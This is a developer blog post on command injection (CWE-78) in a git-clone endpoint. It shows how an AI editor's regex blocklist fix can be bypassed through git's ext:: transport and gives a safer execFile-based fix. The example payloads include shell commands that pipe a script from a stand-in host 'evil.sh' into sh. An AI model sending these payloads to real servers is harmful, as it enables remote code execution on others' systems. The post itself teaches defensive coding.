DEV Community

Cover image for The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)
Charles Kern
Charles Kern

Posted on • Originally published at safeweave.dev

The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)

TL;DR

  • Cursor writes exec() with your input pasted into the command string, which is textbook command injection (CWE-78).
  • Ask it to fix that and it adds a regex blocklist for shell metacharacters. git clone ext::sh -c whoami contains none of them and still runs code on your box.
  • The real fix is execFile with an argv array, plus a protocol and host allowlist, plus -- to stop option parsing.

I was building a "import your repo" endpoint last week. Paste a GitHub URL, we clone it, we scan it. Twenty seconds of prompting in Cursor and I had a working route.

It also had a remote shell in it.

That part I expected. What I did not expect was that the fix Cursor wrote when I pointed at the bug was still exploitable, and exploitable without using a single one of the characters the fix was checking for.

The Vulnerable Code

Command injection happens when user input becomes part of a string that gets handed to a shell. Node's exec() does exactly that: it spawns /bin/sh -c and passes your whole string to it.

// ❌ CWE-78: repoUrl reaches /bin/sh
import { exec } from 'node:child_process';

app.post('/api/import', (req, res) => {
  const { repoUrl } = req.body;
  exec(`git clone ${repoUrl} /tmp/import`, (err, stdout) => {
    if (err) return res.status(500).json({ error: 'clone failed' });
    res.json({ ok: true, stdout });
  });
});
Enter fullscreen mode Exit fullscreen mode

Post https://github.com/a/b.git; curl evil.sh | sh and the shell sees two commands. The clone runs, then so does theirs. Nothing clever required.

The Fix Cursor Writes

Point at that line and ask for a fix, and you get input sanitization. A regex, a list of dangerous characters, a 400 response.

// ❌ still vulnerable
const BLOCKED = /[;&|`$(){}<>\n]/;

app.post('/api/import', (req, res) => {
  const { repoUrl } = req.body;
  if (BLOCKED.test(repoUrl)) {
    return res.status(400).json({ error: 'invalid repo url' });
  }
  exec(`git clone ${repoUrl} /tmp/import`, (err, stdout) => { /* ... */ });
});
Enter fullscreen mode Exit fullscreen mode

This looks like security. It reads like security. It blocks the payload I just showed you.

Now send this:

ext::sh -c curl% http://evil.sh|sh
Enter fullscreen mode Exit fullscreen mode

Or without the pipe, since the pipe is blocked:

ext::sh -c "touch /tmp/pwned"
Enter fullscreen mode Exit fullscreen mode

No semicolon. No pipe. No backtick, no $, no parens. It passes the blocklist clean, and git runs sh -c "touch /tmp/pwned" on your machine.

The reason is that ext:: is a git transport. It is documented behaviour: git hands the rest of the string to a shell and treats that process's stdio as the remote. Git's protocol.ext.allow setting defaults to user, which permits it for commands the user runs directly. Your clone call is a direct invocation. The transport is allowed.

The blocklist was never the boundary. The boundary was "does attacker input control an argument to a program that interprets arguments," and it still does.

Why This Keeps Happening

AI editors optimize for the shape of a fix, not the boundary the fix has to hold. A blocklist has the visual signature of secure code: a constant, a validation branch, an early return. It pattern-matches to thousands of examples in the training data where that shape was the accepted answer.

There is a deeper reason too. Blocklist sanitization is what most Stack Overflow answers about command injection actually say, because those answers are old and because "escape the input" feels like a general solution. It is not a general solution. It is a bet that you enumerated every dangerous character, for every program you might ever invoke, forever. You will lose that bet to a tool that takes flags.

The same class bites tar via --checkpoint-action=exec=, curl via -o writing to arbitrary paths, and find via -exec. None of those need shell syntax. They just need to be an argument.

The Fix

Do not build a shell command string at all. Use execFile with an argv array so there is no shell to inject into, then validate the input as a URL rather than as text, then use -- so a value starting with a hyphen cannot become a flag.

// ✅
import { execFile } from 'node:child_process';

const ALLOWED_HOSTS = new Set(['github.com', 'gitlab.com']);

function parseRepoUrl(raw) {
  let url;
  try {
    url = new URL(raw);
  } catch {
    return null;
  }
  if (url.protocol !== 'https:') return null;
  if (!ALLOWED_HOSTS.has(url.hostname)) return null;
  if (url.username || url.password) return null;
  return url.toString();
}

app.post('/api/import', (req, res) => {
  const repoUrl = parseRepoUrl(req.body.repoUrl);
  if (!repoUrl) return res.status(400).json({ error: 'invalid repo url' });

  execFile(
    'git',
    ['clone', '--depth', '1', '--', repoUrl, '/tmp/import'],
    { timeout: 30_000 },
    (err) => {
      if (err) return res.status(500).json({ error: 'clone failed' });
      res.json({ ok: true });
    }
  );
});
Enter fullscreen mode Exit fullscreen mode

Three separate things are doing work there, and you want all three:

  • execFile with an array means no /bin/sh. Semicolons and pipes are just characters in a string now.
  • new URL() plus a protocol check kills ext::, file://, ssh:// and every other transport in one move. This is the line that actually stops the attack above.
  • -- stops git parsing anything after it as an option, so a value like --upload-pack=... lands as a repo name instead of a flag.

Python is the same shape. The trap there is shell=True, which is the direct equivalent of exec():

# ❌
subprocess.run(f"git clone {repo_url} /tmp/import", shell=True)

# ✅
subprocess.run(
    ["git", "clone", "--depth", "1", "--", repo_url, "/tmp/import"],
    shell=False, timeout=30, check=True,
)
Enter fullscreen mode Exit fullscreen mode

One more thing worth doing: run the clone as a low-privilege user in a container with no outbound network except your allowlisted hosts. Defence in depth matters here because the failure mode is code execution, not data disclosure.

FAQ

Q: Is execFile safe from command injection?
A: execFile removes the shell, so shell metacharacters cannot inject commands. It does not stop argument injection, where input starting with a hyphen is parsed as a flag by the program you are calling. Validate the input and pass -- before user-controlled values.

Q: Why is sanitizing shell metacharacters not enough to stop CWE-78?
A: Because many command-line tools execute code through their own flags and transports, with no shell syntax involved. git clone ext::sh -c ..., tar --checkpoint-action=exec=... and find -exec all run commands using ordinary characters that a metacharacter blocklist allows through.

Q: How do I check if AI-generated code in my project has command injection?
A: Grep for exec(, execSync(, shell=True and os.system( and check whether any argument is built from a request body, query string, filename or environment value. A SAST scanner such as semgrep flags this pattern automatically with its default rulesets.

I have been running SafeWeave for this. It hooks into Cursor and Claude Code as an MCP server and flags exec with interpolated input before I move on, along with the blocklist "fix" that follows it. Even a basic pre-commit hook with semgrep and gitleaks will catch most of what is in this post. The important thing is catching it while the code is still in front of you, whatever tool you use.

Top comments (0)